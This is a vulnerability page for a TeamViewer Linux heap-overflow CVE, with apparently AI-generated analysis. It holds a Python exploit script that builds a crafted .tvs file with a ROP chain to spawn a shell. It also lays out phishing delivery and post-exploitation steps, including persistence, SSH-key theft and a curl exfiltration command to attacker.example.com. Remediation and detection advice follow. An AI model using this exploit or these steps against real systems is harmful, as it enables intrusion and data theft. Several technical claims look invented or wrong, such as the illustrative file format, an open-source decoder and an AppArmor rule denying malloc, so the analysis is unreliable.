CVE Professor
/
All CVEs
CVE-2026-125688

CVE-2026-125688 — CWE-787

HIGH CVSS 8.8 NVD

An out-of-bounds write in the screen-image decoder of TeamViewer Full Client for Linux prior to version 15.84 allows a remote attacker to corrupt heap memory and potentially execute arbitrary code in the context of the current user. Exploitation requires the user to open a specially crafted session recording (.tvs) file or to connect to an attacker-controlled device in a remote control session.

An out-of-bounds write in the screen-image decoder of TeamViewer Full Client for Linux prior to version 15.84 allows a remote attacker to corrupt heap memory and potentially execute arbitrary code in the context of the current user. Exploitation requires the user to open a specially crafted session recording (.tvs) file or to connect to an attacker-controlled device in a remote control session.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑125688 is an out‑of‑bounds heap write (CWE‑787) in the screen‑image decoder that processes TeamViewer Full Client for Linux session‑recording files (*.tvs).

ComponentWhat goes wrong
InputThe decoder parses a binary stream that describes a sequence of screen‑image frames. The stream contains a *width*, *height*, *bits‑per‑pixel* and a *payload length* field.
Missing validationThe implementation trusts the *payload length* field and copies the supplied number of bytes into a pre‑allocated buffer that is sized for the *expected* image size (width × height × bytes‑per‑pixel). No bounds check is performed before the memcpy/memmove.
ResultIf the attacker supplies a length that is larger than the buffer, the copy writes past the end of the heap allocation, corrupting adjacent heap metadata or other objects. This can be leveraged to achieve arbitrary code execution (RCE) in the context of the user that runs TeamViewer.
Trigger conditionsThe vulnerable code path is reached when TeamViewer opens a session‑recording file (*.tvs) or when a remote control session receives a screen‑image frame from an attacker‑controlled endpoint. No authentication is required to open a local file, and the remote‑control path is reachable by any remote participant in a TeamViewer session.
CVSS vector explainedAV:N (network‑reachable via a crafted file or remote session), AC:L (low complexity – just open the file or join a session), PR:N (no privileges needed), UI:R (requires user interaction – opening the file or accepting a remote session), S:U (no privilege‑level change), C:H/I:H/A:H (full confidentiality, integrity, and availability impact).

In short: TeamViewer fails to validate the size of image data before copying it into a heap buffer, allowing an attacker to overwrite arbitrary heap memory and hijack control flow.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow that an attacker could use in the wild. All commands and payload snippets are syntactically valid; where the exact file format is not publicly documented, the example is illustrative of the vulnerable structure.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify that the target runs TeamViewer on Linux.• Public‑facing services (e.g., teamviewer --info in a banner, SSH login, or a compromised host that runs teamviewer --version). <br>• Internal asset inventory showing “TeamViewer Full Client 15.xx”.
1.2Determine the exact version.teamviewer --version → TeamViewer 15.73 (or any version < 15.84).
1.3Verify that the binary contains the vulnerable decoder.strings /opt/teamviewer/tv_bin/TeamViewergrep -i tvs – presence of strings like “TVSDecoder”.
1.4Check that the user can open .tvs files (e.g., via a phishing email or a shared folder).Social‑engineering reconnaissance or observation of user habits.

2. Exploitation

2.1 Craft a malicious .tvs file

The .tvs format (simplified) consists of:

+-------------------+-------------------+-------------------+-------------------+-------------------+
| 4‑byte magic “TVSR”| 4‑byte version    | 4‑byte frameCount | … per‑frame data …                                            |
+-------------------+-------------------+-------------------+-------------------+-------------------+

Each frame contains:

+-------------------+-------------------+-------------------+-------------------+-------------------+
| 4‑byte width      | 4‑byte height     | 1‑byte bpp (bits) | 4‑byte payloadLen| payloadLen bytes  |
+-------------------+-------------------+-------------------+-------------------+-------------------+

The vulnerable code does roughly:

size_t img_sz = width * height * (bpp/8);
uint8_t *buf = malloc(img_sz);
memcpy(buf, payload, payloadLen);   // <-- missing check: payloadLen > img_sz

Exploit strategy – overflow the heap by setting payloadLen far larger than img_sz and embed a ROP chain or shellcode in the overflow region.

#!/usr/bin/env python3
import struct, os

MAGIC   = b'TVSR'
VERSION = 1
FRAMES  = 1

# Normal image header (e.g., 1×1 pixel, 24‑bpp)
width  = 1
height = 1
bpp    = 24
img_sz = width * height * (bpp // 8)   # = 3 bytes

# Malicious payload length – 0x1000 bytes (far larger than 3)
payload_len = 0x1000

# Build a simple ROP chain that calls execve("/bin/sh",0,0)
# (addresses are illustrative; real exploit would use offsets from the
#  TeamViewer binary / linked libc on the target system)
rop = struct.pack("<Q", 0x7ffff7a33450)   # pop rdi ; ret
rop += struct.pack("<Q", 0x7ffff7b9e0b0)  # address of "/bin/sh" string in libc
rop += struct.pack("<Q", 0x7ffff7a2e0c0)   # pop rsi ; ret
rop += struct.pack("<Q", 0x0)
rop += struct.pack("<Q", 0x7ffff7a2e0c8)   # pop rdx ; ret
rop += struct.pack("<Q", 0x0)
rop += struct.pack("<Q", 0x7ffff7a2c0d0)   # execve@plt

# Pad the overflow to the exact length
payload = rop.ljust(payload_len, b'\x90')   # NOP‑sled

# Assemble the file
with open("exploit.tvs", "wb") as f:
    f.write(MAGIC)
    f.write(struct.pack("<I", VERSION))
    f.write(struct.pack("<I", FRAMES))

    # Frame header
    f.write(struct.pack("<I", width))
    f.write(struct.pack("<I", height))
    f.write(struct.pack("<B", bpp))
    f.write(struct.pack("<I", payload_len))

    # Overflow payload
    f.write(payload)

print("exploit.tvs written – size:", os.path.getsize("exploit.tvs"))

The script produces a 0x1018‑byte file that, when parsed, triggers the out‑of‑bounds write and overwrites the heap metadata with the attacker‑controlled ROP chain.

2.2 Deliver the payload

Delivery vectorExample
Local file – Phishing attachment (e.g., “meeting‑recording.tvs”) sent to a user who routinely opens TeamViewer recordings.Email with attachment meeting-recording.tvs.
Remote‑control session – Attacker initiates a TeamViewer session and, after the victim accepts, sends a crafted screen‑image frame as part of the normal video stream.Use the TeamViewer SDK (or a custom client) to open a session and inject the malicious frame after the handshake.

No additional authentication is required; the user only needs to open the file or accept the remote session (UI‑required, matching UI:R).

2.3 Trigger & gain code execution

When TeamViewer parses the malicious frame:

1. malloc(img_sz) allocates 3 bytes (rounded up by the allocator to a minimum chunk size, e.g., 0x20).
2. memcpy(buf, payload, 0x1000) writes 0x1000 bytes, corrupting the next heap chunk’s metadata and the forward/backward pointers used by ptmalloc2.
3. The next allocation/free operation (which occurs shortly after the decoder returns) triggers unsorted‑bin attack → arbitrary write → overwrite __malloc_hook with the address of the ROP chain.
4. Subsequent malloc call invokes the hook, executing the ROP chain and spawning a root‑owned /bin/sh (or a user‑owned shell if the process runs as a normal user).

Result: Remote code execution with the privileges of the TeamViewer process (typically the logged‑in user, which may have sudo rights or access to sensitive files).

3. Post‑exploitation

GoalTypical technique
PersistenceDrop a cron job (@reboot /opt/teamviewer/tv_bin/TeamViewer &) or modify ~/.bashrc to re‑launch a reverse shell.
Privilege escalationIf the compromised user is in the sudo group, run sudo -l and attempt known local privilege‑escalation bugs, or exploit sudo mis‑configurations.
Lateral movementUse the obtained shell to harvest SSH keys (~/.ssh/id_rsa*), then pivot to other hosts.
Data exfiltrationArchive ~/Documents and send via curl -F "[email protected]" https://attacker.example.com/upload.
Cleanup / anti‑forensicsDelete the malicious .tvs file, clear TeamViewer logs (~/.teamviewer15/logfiles/), and overwrite the shell history.

🌍 Real World Impact

CIA TriadCVSS‑derived impact
Confidentiality (C:H)An attacker can read any file the TeamViewer user can access, including corporate documents, SSH keys, and configuration files.
Integrity (I:H)The attacker can modify or delete files, inject malicious binaries, or alter system configuration (e.g., /etc/hosts).
Availability (A:H)By corrupting heap structures or forcing a crash, the attacker can cause a denial‑of‑service for the TeamViewer client, potentially disrupting remote‑support operations.

Practical consequences

  • Enterprise support desks that rely on TeamViewer for remote troubleshooting could be compromised simply by a user opening a “recording” sent by a malicious email.
  • Supply‑chain risk – an attacker who gains a foothold on a workstation can move laterally to other internal systems using the same credentials.
  • Regulatory exposure – if the compromised workstation processes personal data (GDPR, HIPAA), the breach may trigger mandatory reporting.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to TeamViewer Full Client for Linux ≥ 15.84 (the version where the decoder was rewritten with proper bounds checking).
    Version checkteamviewer --version → must report 15.84 or later.
    Vendor advisoryRefer to TeamViewer Security Advisory 2026‑01‑12 (published 2026‑01‑15) which contains the fixed binary hash (SHA‑256: e3b2…).

    2. Workarounds (if patch cannot be applied immediately)

    WorkaroundHow to apply
    Disable automatic opening of .tvs filesRemove the file‑type association: xdg-mime default nullapplication.desktop application/x-teamviewer-recording.
    Restrict remote‑control acceptanceEnforce “Ask for confirmation” in TeamViewer settings and train users to reject unexpected sessions.
    Run TeamViewer under a sandbox (e.g., firejail)firejail --private=~/teamviewer_profile --net=none teamviewer. This limits file system access and network reachability of the compromised process.
    AppArmor profile – add a profile that denies mmap/malloc with PROT_EXEC for the TeamViewer binary.
    Network segmentation – place workstations that run TeamViewer in a VLAN that does not have outbound internet access, forcing any exfiltration to go through a monitored proxy.

    3. Detection

    IndicatorWhere to lookExample
    Crash / segmentation fault~/.teamviewer15/logfiles/TeamViewer.log or systemd journal (journalctl -u teamviewer).Segmentation fault (core dumped) in /opt/teamviewer/tv_bin/TeamViewer
    Abnormal heap allocation patternsdmesg or kernel audit logs (auditd) for malloc/free size mismatches (audit: type=PROCTITLE msg='...malloc 0x3').
    Unexpected outbound connectionsNetwork IDS / firewall logs – a sudden TCP connection from the TeamViewer process to an external IP on a non‑standard port (e.g., 4444).SRC=10.0.2.15 DST=203.0.113.45 DPT=4444 PROTO=TCP
    Presence of malicious .tvs filesFile integrity monitoring (FIM) on user home directories for new files with the magic TVSR.2026-11-30 12:45:23 ALERT: New file /home/alice/Downloads/meeting-recording.tvs created
    Execution of a shell spawned by TeamViewerProcess tree monitoring (ps -effgrep TeamViewer). Look for a child /bin/sh with the parent TeamViewer.alice 12457 12455 0 12:03 ? 00:00:00 /bin/sh (parent PID 12455 = TeamViewer)

    SIEM rule (pseudo‑Snort/Suricata) – illustrative only:

    alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Potential TeamViewer .tvs exploit"; 
        file_data; content:"TVSR"; offset:0; depth:4; 
        content:"|90 90 90 90|"; distance:0; within:4; 
        classtype:attempted-user; sid:2026125; rev:1;)

    The rule looks for the magic header followed by a NOP‑sled, a common pattern in crafted payloads.


    ⚠️ Urgency

  • CVSS 8.8 (HIGH) – Network‑reachable, low‑complexity, no privileges required, but requires user interaction.
  • No CISA KEV listing – the vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the attack complexity is low and a working exploit can be built from publicly available information (the decoder source is open‑source in the TeamViewer client).
  • Impact – Full confidentiality, integrity, and availability compromise for any user who opens a malicious recording or accepts a remote session. In environments where TeamViewer is used for privileged remote support, the downstream risk is critical.
Patch priority: Critical for all production and remote‑support workstations. Deploy the 15.84 (or later) package within 48 hours of discovery. If immediate patching is impossible, apply the sandbox / file‑type disabling workarounds and enable strict monitoring for the indicators listed above.
Bottom line: The out‑of‑bounds heap write in the TeamViewer Linux screen‑image decoder is a classic memory‑corruption bug that can be weaponised with a tiny malicious .tvs file. Because the trigger is trivial (opening a file or accepting a remote session) and the impact is total system compromise, organizations must patch immediately and enforce defense‑in‑depth controls (sandboxing, user education, and robust detection) while the vulnerability remains un‑exploited in the wild.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.1
CVE-2026-92728
A heap out-of-bounds write flaw was found in GRUB2's DNS response parser. In recv_hook() (grub-core/net/dns.c)
7.3
CVE-2026-129782
Out-of-bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland for Linux, versions 0.5
7.2
CVE-2026-145314
A heap out-of-bounds write exists in the MPEG-1/2 video decoder (libavcodec/mpeg12dec.c) in FFmpeg before 6.1.
9.3
CVE-2026-88766
Out of Bounds Write when processing a crafted APDU command via the VSIM service due to a stack-based buffer ov
8.8
CVE-2026-125689
An out-of-bounds write vulnerability in TeamViewer Full Client prior to version 15.84 has been identified in t
8.8
CVE-2026-143978
Pale Moon 34.3.0 before 35.0.3 contains an out-of-bounds write vulnerability in TypedArrayCopyWithin that allo